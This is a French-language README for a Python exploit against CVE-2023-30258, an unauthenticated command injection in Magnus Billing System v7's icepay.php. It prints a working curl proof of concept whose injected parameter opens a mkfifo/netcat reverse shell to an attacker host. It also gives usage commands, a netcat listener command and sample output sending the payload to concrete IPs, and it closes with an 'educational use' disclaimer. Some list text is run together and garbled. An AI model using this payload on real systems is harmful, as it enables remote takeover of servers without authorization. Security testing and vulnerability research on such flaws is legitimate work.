
Exploit Python automatisé pour CVE-2023-30258, une injection de commande dans Magnus Billing System v7. Envoie une requête GET modifiée à icepay.php pour exécuter des commandes arbitraires et établir un shell inversé.
Ce script Python automatise l'exploitation d'une vulnérabilité d'injection de commandes dans Magnus Billing System v7, plus précisément dans le script icepay.php situé à /mbilling/lib/icepay/icepay.php. L'exploit utilise le paramètre democ pour exécuter des commandes arbitraires sur le système cible, établissant finalement un reverse shell vers une machine contrôlée par l'attaquant.
La vulnérabilité permet une injection de commande sans authentification via une requête GET malveillante. La preuve de concept originale (PoC) utilisait la commande curl suivante :
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
Ce script automatise ce processus en le rendant configurable via des arguments en ligne de commande.
requests pour envoyer la requête HTTP avec la charge utilerequests :
pip install requests
netcat (nc) installé pour que le reverse shell fonctionnenetcat sur la machine attaquante pour capturer le reverse shellicepay.php vulnérable accessibleexploit.pynetcat :
nc -lvnp <PORT>
<PORT> par le port de votre choix (ex. 443)python exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
Paramètres :
-t, --target : Adresse IP du système Magnus Billing cible-a, --attacker : Votre adresse IP pour recevoir le reverse shell-p, --port : Port sur votre machine pour le reverse shellpython exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
Sortie attendue :
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Request sent successfully!
[*] Check your netcat listener (e.g., 'nc -lvnp 443') for a shell.
netcat pour interagir avec le reverse shell en cas de succèsmkfifo) avec netcatprint(response.text) dans la fonction exploit()netcat installéCet outil est fourni à des fins éducatives et de tests de sécurité uniquement. Utilisez-le uniquement sur des systèmes pour lesquels vous avez une autorisation explicite de test. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas le consentement de tester est illégale et contraire à l'éthique. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par ce script.
Ce projet est publié sous la licence MIT. N'hésitez pas à le modifier et à le distribuer selon vos besoins, en conservant l'avertissement intact.
Les contributions, les signalements de bugs et les demandes de fonctionnalités sont les bienvenus. N'hésitez pas à soumettre une pull request ou à ouvrir une issue.